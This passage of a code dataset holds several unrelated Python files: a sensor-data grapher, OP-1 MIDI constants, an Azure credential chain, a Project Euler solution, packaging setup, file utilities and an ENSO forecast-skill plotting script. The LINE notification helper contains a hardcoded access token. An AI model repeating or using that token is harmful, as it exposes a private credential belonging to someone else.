+{"seq_id":"520691081","text":"###############################\n# for interactive terminal\nimport __main__ as main\nif not hasattr(main,'__file__'):\n\tfrom kzpy3.utils2 import *\n\tpythonpaths(['kzpy3','kzpy3/Grapher_app','kzpy3/teg9'])\n#\n###############################\nfrom Parameters_Module import *\nfrom kzpy3.vis2 import *\nimport Graph_Module\nfrom Car_Data_app.Names_Module import *\nexec(identify_file_str)\n\"\"\"\n\tAnimate advance/retreat n seconds at r rate\n\tPut in baseline\n\tPut in second markers, both absolute and relative to verticle line\n\tPut in playback time multiple (e.g., 1.43 X)\n\tTake out or comment out unused features\n\"\"\"\n_ = dictionary_access\n\nfor a in Args.keys():\n _(P,a,equals,_(Args,a)) #P[a] = Args[a]\n\nL = h5r(P[L_FILE])\nO = h5r(P[O_FILE])\nxpixelsv = P[X_PIXEL_SIZE]\nypixelsv = P[Y_PIXEL_SIZE]\nscreen_xv = P[SCREEN_X]\nscreen_yv = P[SCREEN_Y]\n\ncv2.destroyAllWindows()\n\n\n\n\n\n\ntsv = L[ts]\ntsv -= tsv[0]\nTimestamp_to_left_image = {}\nfor iv in rlen(tsv):\n\tTimestamp_to_left_image[tsv[iv]] = iv\n\nP[END_TIME] = max(tsv)\n\nP[START_TIME_INIT],P[END_TIME_INIT] = P[START_TIME],P[END_TIME]\n\nshow_menuv = True\nfirst_timev = True\n\nBackground_image = Graph_Module.Image2(\n\txmin,P[START_TIME],\n\txmax,P[END_TIME],\n\tymin,0,\n\tymax,100,\n\txsize,xpixelsv,\n\tysize,ypixelsv)\n\nTopic_images = {}\n\nfor kv in P[TOPICS].keys():\n\n\tprint(kv)\n\tvalsv = L[kv][:]\n\tif P[TOPICS][kv][minval] == minval:\n\t\tyminv = min(valsv)\n\telse:\n\t\tyminv = P[TOPICS][kv][minval]\n\tif P[TOPICS][kv][maxval] == maxval:\n\t\tymaxv = max(valsv)\n\telse:\n\t\tymaxv = P[TOPICS][kv][maxval]\n\n\tTopic_images[kv] = Graph_Module.Image3(\n\t\tImage_source,Background_image,\n\t\txmin,P[START_TIME],\n\t\txmax,P[END_TIME],\n\t\tymin,yminv,\n\t\tymax,ymaxv,\n\t\txsize,xpixelsv,\n\t\tysize,ypixelsv)\n\n\twhile True:\n\t\tI = Topic_images[motor]\n\t\tI[ptsplot](x,tsv,y,valsv,color,(0,255,0))\n\n\t\tif np.abs(P[MOUSE_Y]-ypixelsv/2) > 100:\n\t\t\tref_xv = int(P[VERTICAL_LINE_PROPORTION]*xpixelsv)\n\t\telse:\n\t\t\tref_xv = P[MOUSE_X]\n\t\t\tcv2.line(\n\t\t\t\tI[img],\n\t\t\t\t(P[MOUSE_X],0),\n\t\t\t\t(P[MOUSE_X],ypixelsv),\n\t\t\t\t(255,0,0))\n\t\ttime_from_pixelv = I[pixel_to_float](xint,ref_xv, yint,0)[0]\n\t\tts_from_pixelv = find_nearest(tsv,time_from_pixelv)\n\t\tcv2.putText(\n\t\t\tI[img],\n\t\t\td2n(dp(ts_from_pixelv,3),'s'),\n\t\t\t(10,30),\n\t\t\tcv2.FONT_HERSHEY_SIMPLEX,\n\t\t\t0.75,(255,0,0),1)\n\t\tcv2.line(\n\t\t\tI[img],\n\t\t\t(int(P[VERTICAL_LINE_PROPORTION]*xpixelsv),0),\n\t\t\t(int(P[VERTICAL_LINE_PROPORTION]*xpixelsv),ypixelsv),\n\t\t\t(0,0,255))\n\n\t\tkeyv = mci(I[img],color_mode=cv2.COLOR_RGB2BGR,delay=33,title=kv)\n\t\tmci(O[left_image][vals][Timestamp_to_left_image[ts_from_pixelv]][:],\n\t\t\ttitle=left_image,scale=4)\n\t\tif first_timev:\n\t\t\tfirst_timev = False\n\t\t\tcv2.moveWindow(kv,screen_xv,screen_yv)\n\t\t\tcv2.setMouseCallback(kv,Graph_Module.mouse_event)\n\t\tdtv = (P[START_TIME]-P[END_TIME])*0.001\n\t\tdvalv = (ymaxv-yminv)*0.001\n\t\tdxpixelsv = max(1,xpixelsv*0.1)\n\t\tdypixelsv = max(1,ypixelsv*0.1)\n\n\t\tif show_menuv:\n\t\t\tshow_menuv = False\n\t\t\tprint('Key command menu')\n\t\t\tfor lv in P[CV2_KEY_COMMANDS]:\n\t\t\t\tprint_lv = lv\n\t\t\t\tif len(lv) == 0 or lv == ' ':\n\t\t\t\t\tprint_lv = \"\\'\"+lv+\"\\'\"\n\t\t\t\tprint(d2s('\\t',print_lv,'-',P[CV2_KEY_COMMANDS][lv][1]))\n\t\t\t\t\n\t\tkey_decodedv = False\n\n\t\tfor mv in P[CV2_KEY_COMMANDS]:\n\t\t\tif len(mv) > 0:\n\t\t\t\tif keyv == ord(mv):\n\t\t\t\t\tcmd_tuplev = P[CV2_KEY_COMMANDS][mv]\n\t\t\t\t\texec(cmd_tuplev[0])\n\t\t\t\t\tkey_decodedv = True\n\n\t\tif not key_decodedv:\n\t\t\tif keyv != -1:\n\t\t\t\tprint(d2s(str(unichr(keyv)), '=',keyv))\n\n\n\n\n\n\n\n#EOF","sub_path":"older/Grapher_app_/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335271988","text":"##################################################################\n#\n# Copyright (C) 2012 Imaginando, Lda & Teenage Engineering AB\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# For more information about this license please consult the\n# following webpage: http://www.gnu.org/licenses/gpl-2.0.html\n#\n##################################################################\n\nVERSION=\"1.0.9\"\n\n# Sentinel values\n\nBUTTON_ON = 127\nBUTTON_OFF = 0\n\nNOTE_OFF = 0\nNOTE_ON = 100\n\n# Number of tracks\n\nNUM_TRACKS = 13\nNUM_SCENES = 10\nNUM_RETURN_TRACKS = 2\nNUM_MODES = 4\n\nNUM_DISPLAY_CLIP_SLOTS = 14\n\nCHANNEL = 0\n\n# MIDI CC's\n\nOP1_MODE_SYNTH = 0\nOP1_MODE_DRUM = 1\nOP1_MODE_TAPE = 2\nOP1_MODE_MIXER = 3\n\nOP1_ENCODER_1 = 1 # Blue\nOP1_ENCODER_2 = 2 # Green\nOP1_ENCODER_3 = 3 # White\nOP1_ENCODER_4 = 4 # Red\n\nOP1_U01_ENCODER_1 = 53 # Blue\nOP1_U01_ENCODER_2 = 54 # Green\nOP1_U01_ENCODER_3 = 55 # White\nOP1_U01_ENCODER_4 = 56 # Red\n\nOP1_U02_ENCODER_1 = 57 # Blue\nOP1_U02_ENCODER_2 = 58 # Green\nOP1_U02_ENCODER_3 = 59 # White\nOP1_U02_ENCODER_4 = 60 # Red\n\nOP1_U03_ENCODER_1 = 61 # Blue\nOP1_U03_ENCODER_2 = 62 # Green\nOP1_U03_ENCODER_3 = 63 # White\nOP1_U03_ENCODER_4 = 64 # Red\n\nOP1_ENCODER_1_BUTTON = 64 # Blue\nOP1_ENCODER_2_BUTTON = 65 # Green\nOP1_ENCODER_3_BUTTON = 66 # White\nOP1_ENCODER_4_BUTTON = 67 # Red\n\nOP1_HELP_BUTTON = 5\nOP1_METRONOME_BUTTON = 6\n\nOP1_MODE_1_BUTTON = 7 # Synth\nOP1_MODE_2_BUTTON = 8 # Drums\nOP1_MODE_3_BUTTON = 9 # Tape\nOP1_MODE_4_BUTTON = 10 # Mixer\n\n# Mode buttons under the display\nOP1_T1_BUTTON = 11\nOP1_T2_BUTTON = 12\nOP1_T3_BUTTON = 13\nOP1_T4_BUTTON = 14\n\nOP1_ARROW_UP_BUTTON = 15\nOP1_ARROW_DOWN_BUTTON = 16\nOP1_SCISSOR_BUTTON = 17\n\nOP1_SS1_BUTTON = 50 # In (green)\nOP1_SS2_BUTTON = 51 # Out (green)\nOP1_SS3_BUTTON = 52 # Loop (green)\nOP1_SS4_BUTTON = 21 # Tape scrub (red)\nOP1_SS5_BUTTON = 22 # Reverse (red)\nOP1_SS6_BUTTON = 23 # Begin bar (red)\nOP1_SS7_BUTTON = 24 # M1 (grey)\nOP1_SS8_BUTTON = 25 # M2 (grey)\n\nOP1_REC_BUTTON = 38\nOP1_PLAY_BUTTON = 39\nOP1_STOP_BUTTON = 40\n\nOP1_LEFT_ARROW = 41\nOP1_RIGHT_ARROW = 42\nOP1_SHIFT_BUTTON = 43\n\nOP1_MICROPHONE = 48\nOP1_COM = 49\nOP1_SEQUENCER = 26\n\n# Notes\n\nOP1_F3_NOTE = 53\nOP1_FS3_NOTE = 54\nOP1_GF3_NOTE = 54\nOP1_G3_NOTE = 55\nOP1_GS3_NOTE = 56\nOP1_AF3_NOTE = 56\nOP1_A3_NOTE = 57\nOP1_AS3_NOTE = 58\nOP1_BF3_NOTE = 58\nOP1_B3_NOTE = 59\n\nOP1_C4_NOTE = 60\nOP1_CS4_NOTE = 61\nOP1_DF4_NOTE = 61\nOP1_D4_NOTE = 62\nOP1_F4_NOTE = 63\nOP1_E4_NOTE = 64\nOP1_F4_NOTE = 65\nOP1_FS4_NOTE = 66\nOP1_GF4_NOTE = 66\nOP1_G4_NOTE = 67\nOP1_GS4_NOTE = 68\nOP1_AF4_NOTE = 68\nOP1_A4_NOTE = 69\nOP1_AS4_NOTE = 70\nOP1_BF4_NOTE = 70\nOP1_B4_NOTE = 71\n\nOP1_C5_NOTE = 72\nOP1_CS5_NOTE = 73\nOP1_DF5_NOTE = 73\nOP1_D5_NOTE = 74\nOP1_DS5_NOTE = 75\nOP1_EF5_NOTE = 75\nOP1_E5_NOTE = 76\n\nOP1_MIN_NOTE = 53\nOP1_MAX_NOTE = 76\n","sub_path":"consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"543974188","text":"# ------------------------------------\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n# ------------------------------------\nimport logging\nimport os\nimport requests\nimport re\n\nfrom azure.identity._constants import EnvironmentVariables\nfrom azure.identity._internal import get_default_authority, normalize_authority\nfrom azure.identity import (\n AzurePowerShellCredential,\n EnvironmentCredential,\n ManagedIdentityCredential,\n SharedTokenCacheCredential,\n AzureCliCredential,\n VisualStudioCodeCredential,\n InteractiveBrowserCredential,\n DeviceCodeCredential,\n _credentials\n)\nfrom ._chained import _ChainedTokenCredential\nfrom ._token import _TokenFileCredential\n\ntry:\n from typing import TYPE_CHECKING\nexcept ImportError:\n TYPE_CHECKING = False\n\nif TYPE_CHECKING:\n from typing import Any, List\n from azure.core.credentials import AccessToken, TokenCredential\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass _DefaultAzureCredential(_ChainedTokenCredential):\n \"\"\"\n Based on Azure.Identity.DefaultAzureCredential from:\n https://github.com/Azure/azure-sdk-for-python/blob/master/sdk/identity/azure-identity/azure/identity/_credentials/default.py\n\n The three key differences are:\n 1) Inherit from _ChainedTokenCredential, which has \n more aggressive error handling than ChainedTokenCredential\n 2) Instantiate the internal credentials the first time the get_token gets called\n such that we can get the tenant_id if it was not passed by the user (but we don't\n want to do that in the constructor).\n We automatically identify the user's tenant_id for a given subscription \n so that users with MSA accounts don't need to pass it.\n This is a mitigation for bug https://github.com/Azure/azure-sdk-for-python/issues/18975\n We need the following parameters to enable auto-detection of tenant_id\n - subscription_id\n - arm_base_url (defaults to the production url \"https://management.azure.com/\")\n 3) Add custom TokenFileCredential as first method to attempt, which will look for a local access token.\n \"\"\"\n def __init__(self, **kwargs):\n # type: (**Any) -> None\n self._successful_tenant_id = None\n\n self.authority = kwargs.pop(\"authority\", None)\n self.authority = normalize_authority(self.authority) if self.authority else get_default_authority()\n\n self.interactive_browser_tenant_id = kwargs.pop(\n \"interactive_browser_tenant_id\", os.environ.get(EnvironmentVariables.AZURE_TENANT_ID)\n )\n\n self.subscription_id = kwargs.pop(\n \"subscription_id\", os.environ.get(\"SUBSCRIPTION_ID\")\n )\n self.arm_base_url = kwargs.pop(\n \"arm_base_url\", \"https://management.azure.com/\"\n )\n\n self.managed_identity_client_id = kwargs.pop(\n \"managed_identity_client_id\", os.environ.get(EnvironmentVariables.AZURE_CLIENT_ID)\n )\n\n self.shared_cache_username = kwargs.pop(\"shared_cache_username\", os.environ.get(EnvironmentVariables.AZURE_USERNAME))\n self.shared_cache_tenant_id = kwargs.pop(\n \"shared_cache_tenant_id\", os.environ.get(EnvironmentVariables.AZURE_TENANT_ID)\n )\n\n self.vscode_tenant_id = kwargs.pop(\n \"visual_studio_code_tenant_id\", os.environ.get(EnvironmentVariables.AZURE_TENANT_ID)\n )\n\n self.exclude_token_file_credential = kwargs.pop(\"exclude_token_file_credential\", False)\n self.exclude_environment_credential = kwargs.pop(\"exclude_environment_credential\", False)\n self.exclude_managed_identity_credential = kwargs.pop(\"exclude_managed_identity_credential\", False)\n self.exclude_shared_token_cache_credential = kwargs.pop(\"exclude_shared_token_cache_credential\", True)\n self.exclude_visual_studio_code_credential = kwargs.pop(\"exclude_visual_studio_code_credential\", False)\n self.exclude_cli_credential = kwargs.pop(\"exclude_cli_credential\", False)\n self.exclude_interactive_browser_credential = kwargs.pop(\"exclude_interactive_browser_credential\", True)\n self.exclude_device_code_credential = kwargs.pop(\"exclude_device_code_credential\", False)\n self.exclude_powershell_credential = kwargs.pop(\"exclude_powershell_credential\", False)\n\n # credentials will be created lazy on the first call to get_token\n super(_DefaultAzureCredential, self).__init__()\n\n def _initialize_credentials(self):\n if self.subscription_id is not None \\\n and self.arm_base_url is not None:\n if self.vscode_tenant_id is None:\n self.vscode_tenant_id = self._get_tenant_id(arm_base_url=self.arm_base_url, subscription_id=self.subscription_id)\n if self.shared_cache_tenant_id is None:\n self.shared_cache_tenant_id = self._get_tenant_id(arm_base_url=self.arm_base_url, subscription_id=self.subscription_id)\n if self.interactive_browser_tenant_id is None:\n self.interactive_browser_tenant_id = self._get_tenant_id(arm_base_url=self.arm_base_url, subscription_id=self.subscription_id)\n\n credentials = [] # type: List[TokenCredential]\n if not self.exclude_token_file_credential:\n credentials.append(_TokenFileCredential())\n if not self.exclude_environment_credential:\n credentials.append(EnvironmentCredential(authority=self.authority))\n if not self.exclude_managed_identity_credential:\n credentials.append(ManagedIdentityCredential(client_id=self.managed_identity_client_id))\n if not self.exclude_shared_token_cache_credential and SharedTokenCacheCredential.supported():\n try:\n # username and/or tenant_id are only required when the cache contains tokens for multiple identities\n shared_cache = SharedTokenCacheCredential(\n username=self.shared_cache_username, tenant_id=self.shared_cache_tenant_id, authority=self.authority\n )\n credentials.append(shared_cache)\n except Exception as ex: # pylint:disable=broad-except\n _LOGGER.info(\"Shared token cache is unavailable: '%s'\", ex)\n if not self.exclude_visual_studio_code_credential:\n credentials.append(VisualStudioCodeCredential(tenant_id=self.vscode_tenant_id))\n if not self.exclude_cli_credential:\n credentials.append(AzureCliCredential())\n if not self.exclude_powershell_credential:\n credentials.append(AzurePowerShellCredential())\n if not self.exclude_interactive_browser_credential:\n credentials.append(InteractiveBrowserCredential(tenant_id=self.interactive_browser_tenant_id))\n if not self.exclude_device_code_credential:\n credentials.append(DeviceCodeCredential(tenant_id=self.interactive_browser_tenant_id))\n\n self.credentials = credentials\n\n def get_token(self, *scopes, **kwargs):\n # type: (*str, **Any) -> AccessToken\n \"\"\"Request an access token for `scopes`.\n This method is called automatically by Azure SDK clients.\n :param str scopes: desired scopes for the access token. This method requires at least one scope.\n :raises ~azure.core.exceptions.ClientAuthenticationError: authentication failed. The exception has a\n `message` attribute listing each authentication attempt and its error message.\n \"\"\"\n # add credentials the first time it runs the get_token\n # such that the _get_tenant_id can be called only when needed\n if self.credentials is None \\\n or len(self.credentials) == 0:\n self._initialize_credentials()\n\n return super(_DefaultAzureCredential, self).get_token(*scopes, **kwargs)\n\n def _get_tenant_id(self, arm_base_url:str, subscription_id:str):\n if arm_base_url is None:\n raise ValueError(\"arm_base_url is mandatory parameter\")\n if subscription_id is None:\n raise ValueError(\"subscription_id is mandatory parameter\")\n\n # returns the cached tenant_id if available\n if self._successful_tenant_id is not None:\n return self._successful_tenant_id\n\n try:\n uri = (\n f\"{arm_base_url}/subscriptions/\"\n + f\"{subscription_id}?api-version=2018-01-01\"\n )\n response = requests.get(uri)\n\n # This gnarly piece of code is how we get the guest tenant\n # authority associated with the subscription.\n # We make a unauthenticated request to ARM and extract the tenant\n # authority from the WWW-Authenticate header in the response.\n # The header is of the form:\n # Bearer authorization_uri=\n # https://login.microsoftonline.com/tenantId, key1=value1s\n auth_header = response.headers[\"WWW-Authenticate\"]\n _LOGGER.debug(\n f'{\"got the following auth header from\"}'\n f\"the management endpoint: {auth_header}\"\n )\n\n trimmed_auth_header = auth_header[\n len(\"Bearer \"):\n ] # trim the leading 'Bearer '\n trimmed_auth_header_parts = trimmed_auth_header.split(\n \",\"\n ) # get the various k=v parts\n key_value_pairs = dict(\n map(lambda s: tuple(s.split(\"=\")), trimmed_auth_header_parts)\n ) # make the parts into a dictionary\n quoted_tenant_uri = key_value_pairs[\n \"authorization_uri\"\n ] # get the value of the 'authorization_uri' key\n tenant_uri = quoted_tenant_uri[\n 1:-1\n ] # strip it of surrounding quotes\n\n _LOGGER.debug(\n f'{\"got the following tenant uri from\"}'\n + f\"the authentication header: {tenant_uri}\"\n )\n\n regex = re.compile(pattern=r\"([a-f0-9]+[-]){4}[a-f0-9]+\", flags=re.IGNORECASE)\n self._successful_tenant_id = regex.search(tenant_uri).group()\n return self._successful_tenant_id\n\n except Exception as e:\n _LOGGER.debug(\n f\"Failed to get tenant authority for subscription: {e}\"\n )\n return None","sub_path":"azure-quantum/azure/quantum/_authentication/_default.py","file_name":"_default.py","file_ext":"py","file_size_in_byte":10288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"257864508","text":"# Bouncy numbers\n# Problem 112\n#\n# Working from left-to-right if no digit is exceeded by the digit to its left it is called an increasing\n# number; for example, 134468.\n#\n# Similarly if no digit is exceeded by the digit to its right it is called a decreasing number; for\n# example, 66420.\n#\n# We shall call a positive integer that is neither increasing nor decreasing a \"bouncy\" number; for\n# example, 155349.\n#\n# Clearly there cannot be any bouncy numbers below one-hundred, but just over half of the numbers below\n# one-thousand (525) are bouncy. In fact, the least number for which the proportion of bouncy numbers\n# first reaches 50% is 538.\n#\n# Surprisingly, bouncy numbers become more and more common and by the time we reach 21780 the proportion\n# of bouncy numbers is equal to 90%.\n#\n# Find the least number for which the proportion of bouncy numbers is exactly 99%.\n\ndef is_bouncy(n):\n change = 0\n\n while n > 9:\n ones = n % 10\n tens = n // 10 % 10\n\n if change == 0:\n if ones < tens:\n change = -1\n elif ones > tens:\n change = 1\n else:\n if ones < tens and change == 1:\n return True\n elif ones > tens and change == -1:\n return True\n\n n /= 10\n\n return False\n\nprint(is_bouncy(764287364))\nprint(is_bouncy(12345678))\nprint(is_bouncy(12545678))\nprint(is_bouncy(98765))\nprint(is_bouncy(766654))\nprint(is_bouncy(101))\nprint(is_bouncy(190))\n\ncount = 0.0\nn = 1\n\nlimit = 0.99\nproportion = count / n\n\nwhile proportion < limit:\n if is_bouncy(n):\n count += 1\n\n proportion = count / n\n\n n += 1\n\nprint(n - 1)\n\n# Answer: 1587000\n","sub_path":"euler_112.py","file_name":"euler_112.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"232229536","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '0.1dev'\n\nsetup(name='archetypes.pfgextender',\n version=version,\n description=\"Archetypes content types extended with PloneFormGen\",\n long_description=open(\"README.txt\").read() + \"\\n\" +\n open(os.path.join(\"docs\", \"HISTORY.txt\")).read(),\n classifiers=[\n \"Programming Language :: Python\",\n ],\n keywords='',\n author='',\n author_email='',\n url='',\n license='GPL',\n packages=find_packages('src'),\n package_dir={'': 'src'},\n namespace_packages=['archetypes'],\n include_package_data=True,\n zip_safe=False,\n extras_require=dict(test=[\n 'plone.app.testing',\n 'plone.app.bbb_testing',\n ]),\n install_requires=[\n 'setuptools',\n 'Plone',\n 'AccessControl',\n 'archetypes.schemaextender',\n 'Products.Archetypes',\n 'Products.PloneFormGen',\n 'Products.CMFCore',\n 'Products.CMFDynamicViewFTI',\n 'Products.GenericSetup',\n 'zope.interface',\n 'zope.component',\n ],\n entry_points=\"\"\"\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"141040026","text":"import requests\ndef send_line_notification(message):\n line_token = '7T12MMobxZMTOMrvNOMgFnfuVSnj2qxaj4oT9SW4iHT' # 終わったら無効化する\n endpoint = 'https://notify-api.line.me/api/notify'\n message = \"\\n{}\".format(message)\n payload = {'message': message}\n headers = {'Authorization': 'Bearer {}'.format(line_token)}\n requests.post(endpoint, data=payload, headers=headers)\n \n\n","sub_path":"src/evaluate/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"414564263","text":"#!/usr/bin/python\n\nimport os\nimport sys\nimport shutil\n\n\n\n# Notes:\n\n\ndef getScriptPath():\n '''\n Return the this script file path.\n This code should always be copied to the running file.\n '''\n return os.path.split(os.path.realpath(__file__))[0]\n\ndef getWorkingPath():\n return os.getcwd()\n\ndef changeWorkingPath(path):\n '''\n If change the working path OK, then return True, otherwise, return False.\n '''\n try:\n os.chdir(path)\n return True\n except:\n return False\n\ndef getUpperPath(localPath):\n originalWorkingPath = getWorkingPath()\n changeWorkingPath(localPath)\n changeWorkingPath('..')\n upperPath = getWorkingPath()\n changeWorkingPath(originalWorkingPath)\n return upperPath\n\ndef isExist(path):\n return os.path.exists(path)\n\ndef isFile(path):\n return os.path.isfile(path)\n\ndef isDir(path):\n return os.path.isdir(path)\n\ndef listDir(path):\n '''Return False if meets exception.'''\n try:\n return os.listdir(path)\n except:\n return False\n\ndef getFileList(path):\n '''\n Get all the files from given path\n Return False if meets exception.\n '''\n resultList = []\n myPath = str(path)\n if myPath == '':\n return []\n\n if myPath[-1] == '/':\n prefix = myPath\n else:\n prefix = myPath+'/'\n\n try:\n listResult = os.listdir(myPath)\n except:\n return False\n\n for i in listResult:\n if os.path.isfile(prefix+i):\n resultList.append(i)\n return resultList\n\ndef getDirList(path):\n '''\n Get all the directories from given path.\n Return False if meets exception.\n '''\n resultList = []\n myPath = str(path)\n if myPath == '':\n return []\n if myPath[-1] == '/':\n prefix = myPath\n else:\n prefix = myPath+'/'\n try:\n listResult = os.listdir(myPath)\n except:\n return False\n for i in listResult:\n if os.path.isdir(prefix+i):\n resultList.append(i)\n return resultList\n\ndef makeDirs(path):\n '''Return False if meets unknown exceptions.'''\n try:\n os.makedirs(path)\n return True\n except OSError:\n return True\n except:\n return False\n\ndef removeForce(path):\n '''\n Remove given path forcely.\n :param path:\n :return:\n '''\n if not os.path.exists(path):\n return True\n\n if os.path.isfile(path):\n try:\n os.remove(path)\n return True\n except:\n return False\n elif os.path.isdir(path):\n try:\n shutil.rmtree(path)\n return True\n except:\n return False\n else:\n return False\n\ndef fileSize(path):\n if not isFile(path):\n return False\n return os.path.getsize(path)\n\n\n\nif __name__ == '__main__':\n pass\n\n\n\n\n\n\n\n","sub_path":"NxExplore/NxExplore/NxView/NxUsr/NxLib/NxFiles.py","file_name":"NxFiles.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"442832298","text":"from os.path import join\nimport xarray as xr\nimport numpy as np\nfrom ninolearn.pathes import processeddir\nfrom ninolearn.private import plotdir\nimport matplotlib.pyplot as plt\nfrom ninolearn.IO.read_processed import data_reader\nfrom ninolearn.learn.evaluation.skillMeasures import mean_srmse\nfrom scipy.stats import pearsonr\nfrom matplotlib.ticker import MaxNLocator\n\nplt.close('all')\n\nstart = '2012-01'\nend = '2017-12'\nreader = data_reader(startdate=start, enddate=end)\noni = reader.read_csv('oni')\n\ndata = xr.open_dataset(join(processeddir, f'DE_forecasts.nc'))\ndata_of = xr.open_dataset(join(processeddir, f'other_forecasts.nc'))\n\nlead_arr_of = np.arange(9)\nlead_arr_DE = np.array([0,3,6,9])\n\ncorr_UBC_NNET = np.zeros(9)\ncorr_ECMWF = np.zeros(9)\ncorr_CFS = np.zeros(9)\ncorr_UCLA_TCD = np.zeros(9)\ncorr_JMA = np.zeros(9)\ncorr_NASA_GMAO = np.zeros(9)\ncorr_CPC_MRKOV = np.zeros(9)\ncorr_CPC_CA = np.zeros(9)\ncorr_CPC_CCA = np.zeros(9)\ncorr_NCEP_CFS = np.zeros(9)\ncorr_SCRIPPS = np.zeros(9)\ncorr_KMA_SNU = np.zeros(9)\n\nssrmse_UBC_NNET = np.zeros(9)\nssrmse_ECMWF = np.zeros(9)\nssrmse_CFS = np.zeros(9)\nssrmse_UCLA_TCD = np.zeros(9)\nssrmse_JMA = np.zeros(9)\nssrmse_NASA_GMAO = np.zeros(9)\nssrmse_CPC_MRKOV = np.zeros(9)\nssrmse_CPC_CA = np.zeros(9)\nssrmse_CPC_CCA = np.zeros(9)\nssrmse_NCEP_CFS = np.zeros(9)\nssrmse_SCRIPPS = np.zeros(9)\nssrmse_KMA_SNU = np.zeros(9)\n\ndef corr(data):\n nans = np.isnan(data)\n n_nans = len(data[np.isnan(data)])\n if n_nans<36:\n corr, _ = pearsonr(oni[~nans], data[~nans])\n else:\n corr=np.nan\n return corr\n\ndef ssrmse(data):\n nans = np.isnan(data)\n n_nans = len(data[np.isnan(data)])\n if n_nans<36:\n ssrmse = mean_srmse(oni[~nans], data[~nans], oni[~nans].index)\n else:\n ssrmse=np.nan\n return ssrmse\n\n\nfor i in range(9):\n# =============================================================================\n# Correaltion skills\n# =============================================================================\n NASA_GMAO = data_of['NASA GMAO'].loc[start:end, i]\n NCEP_CFS = data_of['NCEP CFS'].loc[start:end, i]\n JMA = data_of['JMA'].loc[start:end, i]\n SCRIPPS = data_of['SCRIPPS'].loc[start:end, i]\n ECMWF = data_of['ECMWF'].loc[start:end, i]\n KMA_SNU = data_of['KMA SNU'].loc[start:end, i]\n\n UBC_NNET = data_of['UBC NNET'].loc[start:end, i]\n UCLA_TCD = data_of['UCLA-TCD'].loc[start:end, i]\n CPC_MRKOV = data_of['CPC MRKOV'].loc[start:end, i]\n CPC_CA = data_of['CPC CA'].loc[start:end, i]\n CPC_CCA = data_of['CPC CCA'].loc[start:end, i]\n\n corr_NASA_GMAO[i] = corr(NASA_GMAO)\n corr_NCEP_CFS[i] = corr(NCEP_CFS)\n corr_JMA[i] = corr(JMA)\n corr_SCRIPPS[i] = corr(SCRIPPS)\n corr_KMA_SNU[i] = corr(KMA_SNU)\n corr_ECMWF[i] = corr(ECMWF)\n\n corr_UBC_NNET[i] = corr(UBC_NNET)\n corr_UCLA_TCD[i] = corr(UCLA_TCD)\n corr_CPC_MRKOV[i] = corr(CPC_MRKOV)\n corr_CPC_CA[i] = corr(CPC_CA)\n corr_CPC_CCA[i] = corr(CPC_CCA)\n# =============================================================================\n# SSRMSE\n# =============================================================================\n ssrmse_NASA_GMAO[i] = ssrmse(NASA_GMAO)\n ssrmse_NCEP_CFS[i] = ssrmse(NCEP_CFS)\n ssrmse_JMA[i] = ssrmse(JMA)\n ssrmse_SCRIPPS[i] = ssrmse(SCRIPPS)\n ssrmse_KMA_SNU[i] = ssrmse(KMA_SNU)\n ssrmse_ECMWF[i] = ssrmse(ECMWF)\n\n ssrmse_UBC_NNET[i] = ssrmse(UBC_NNET)\n ssrmse_UCLA_TCD[i] = ssrmse(UCLA_TCD)\n ssrmse_CPC_MRKOV[i] = ssrmse(CPC_MRKOV)\n ssrmse_CPC_CA[i] = ssrmse(CPC_CA)\n ssrmse_CPC_CCA[i] = ssrmse(CPC_CCA)\n\ncorr_DE = np.zeros(4)\nssrmse_DE = np.zeros(4)\n\nfor i in range(4):\n UU_DE_mean = data['UU DE mean'].loc[start:end][:, i]\n corr_DE[i]= corr(UU_DE_mean)\n ssrmse_DE[i]= ssrmse(UU_DE_mean)\n\n\n#%% =============================================================================\n# Plot\n# =============================================================================\nplt.close(\"all\")\nax = plt.figure(figsize=(6,3)).gca()\n\nplt.plot(lead_arr_of, corr_UBC_NNET, label='UBC NNET', ls='--')\nplt.plot(lead_arr_of, corr_UCLA_TCD, label='UCLA-TCD', ls='--')\nplt.plot(lead_arr_of, corr_CPC_MRKOV, label='CPC MRKOV', ls='--')\nplt.plot(lead_arr_of, corr_CPC_CA, label='CPC CA', ls='--')\nplt.plot(lead_arr_of, corr_CPC_CCA, label='CPC CCA', ls='--')\n\nplt.plot(lead_arr_of, corr_NASA_GMAO, label='NASA GMAO')\nplt.plot(lead_arr_of, corr_NCEP_CFS, label='NCEP CFS')\nplt.plot(lead_arr_of, corr_JMA, label='JMA')\nplt.plot(lead_arr_of, corr_SCRIPPS, label='SCRIPPS')\nplt.plot(lead_arr_of, corr_ECMWF, label='ECMWF')\nplt.plot(lead_arr_of, corr_KMA_SNU, label='KMA SNU')\n\nplt.plot(lead_arr_DE, corr_DE, c='k', label='UU DE Mean', ls='--', lw=3)\n\nplt.ylim(-0.2,1)\nplt.xlim(0,8)\nplt.xlabel('Lead Time [Months]')\nplt.ylabel('Correlation coefficient')\n#plt.title('Correlation 